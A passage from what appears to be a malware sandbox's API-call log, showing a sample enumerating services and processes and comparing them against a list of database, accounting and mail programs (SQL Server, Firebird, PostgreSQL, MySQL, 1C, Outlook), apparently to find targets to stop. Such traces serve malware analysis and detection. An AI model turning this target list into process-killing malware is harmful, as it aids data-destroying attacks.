returned -1 [0076.667] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0076.667] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0076.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0076.667] lstrlenW (lpString="SamSs") returned 5 [0076.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0076.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0076.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0076.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0076.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0076.668] lstrlenW (lpString="Schedule") returned 8 [0076.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0076.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0076.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0076.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0076.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0076.668] lstrlenW (lpString="SENS") returned 4 [0076.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0076.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0076.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0076.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0076.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0076.668] lstrlenW (lpString="ShellHWDetection") returned 16 [0076.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.668] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0076.668] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0076.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0076.668] lstrlenW (lpString="Spooler") returned 7 [0076.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0076.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0076.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0076.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0076.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.668] lstrlenW (lpString="swprv") returned 5 [0076.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0076.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0076.669] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0076.669] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0076.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0076.669] lstrlenW (lpString="SysMain") returned 7 [0076.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0076.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0076.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0076.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0076.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0076.669] lstrlenW (lpString="Themes") returned 6 [0076.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0076.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0076.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0076.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0076.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0076.669] lstrlenW (lpString="TrkWks") returned 6 [0076.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0076.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0076.669] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0076.669] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0076.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0076.669] lstrlenW (lpString="UxSms") returned 5 [0076.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0076.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0076.669] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0076.669] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0076.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0076.670] lstrlenW (lpString="VSS") returned 3 [0076.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0076.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0076.670] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0076.670] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0076.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0076.670] lstrlenW (lpString="WdiServiceHost") returned 14 [0076.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0076.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0076.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0076.670] lstrlenW (lpString="WdiSystemHost") returned 13 [0076.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0076.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0076.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0076.670] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0076.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0076.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0076.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0076.671] lstrlenW (lpString="Winmgmt") returned 7 [0076.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0076.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0076.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0076.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0076.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0076.671] lstrlenW (lpString="WPDBusEnum") returned 10 [0076.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0076.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0076.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0076.671] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0076.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0076.679] Process32FirstW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.680] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.680] lstrlenW (lpString="System") returned 6 [0076.680] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0076.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0076.680] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.680] lstrlenW (lpString="smss.exe") returned 8 [0076.680] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0076.681] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.681] lstrlenW (lpString="csrss.exe") returned 9 [0076.681] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0076.681] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0076.681] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0076.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0076.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0076.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0076.681] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.682] lstrlenW (lpString="wininit.exe") returned 11 [0076.682] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0076.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0076.682] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0076.682] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.682] lstrlenW (lpString="csrss.exe") returned 9 [0076.683] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.683] lstrlenW (lpString="winlogon.exe") returned 12 [0076.683] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.683] lstrlenW (lpString="services.exe") returned 12 [0076.683] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.684] lstrlenW (lpString="lsass.exe") returned 9 [0076.684] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0076.684] lstrlenW (lpString="lsm.exe") returned 7 [0076.684] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.684] lstrlenW (lpString="svchost.exe") returned 11 [0076.684] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.685] lstrlenW (lpString="svchost.exe") returned 11 [0076.685] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.685] lstrlenW (lpString="svchost.exe") returned 11 [0076.685] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.685] lstrlenW (lpString="svchost.exe") returned 11 [0076.686] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.686] lstrlenW (lpString="svchost.exe") returned 11 [0076.686] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.687] lstrlenW (lpString="audiodg.exe") returned 11 [0076.687] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.687] lstrlenW (lpString="svchost.exe") returned 11 [0076.687] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.687] lstrlenW (lpString="svchost.exe") returned 11 [0076.687] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.688] lstrlenW (lpString="dwm.exe") returned 7 [0076.688] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.688] lstrlenW (lpString="explorer.exe") returned 12 [0076.688] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.689] lstrlenW (lpString="spoolsv.exe") returned 11 [0076.689] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.689] lstrlenW (lpString="svchost.exe") returned 11 [0076.689] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.689] lstrlenW (lpString="taskhost.exe") returned 12 [0076.689] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.690] lstrlenW (lpString="taskeng.exe") returned 11 [0076.690] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0076.690] lstrlenW (lpString="communist_nick.exe") returned 18 [0076.690] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0076.691] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0076.691] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0076.691] lstrlenW (lpString="prize.exe") returned 9 [0076.691] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0076.691] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0076.691] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0076.692] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0076.692] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0076.692] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0076.692] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0076.693] lstrlenW (lpString="prospects.exe") returned 13 [0076.693] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0076.693] lstrlenW (lpString="signalpackard.exe") returned 17 [0076.693] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0076.835] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0076.835] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0076.835] lstrlenW (lpString="release.exe") returned 11 [0076.835] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0076.835] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0076.835] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0076.836] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0076.836] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0076.836] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0076.836] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0076.836] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0076.836] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0076.837] lstrlenW (lpString="stickers_nations.exe") returned 20 [0076.837] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0076.837] lstrlenW (lpString="initiated-scary.exe") returned 19 [0076.837] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.839] lstrlenW (lpString="3dftp.exe") returned 9 [0076.839] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.839] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0076.839] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.840] lstrlenW (lpString="alftp.exe") returned 9 [0076.840] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.840] lstrlenW (lpString="barca.exe") returned 9 [0076.840] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.840] lstrlenW (lpString="bitkinex.exe") returned 12 [0076.840] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, 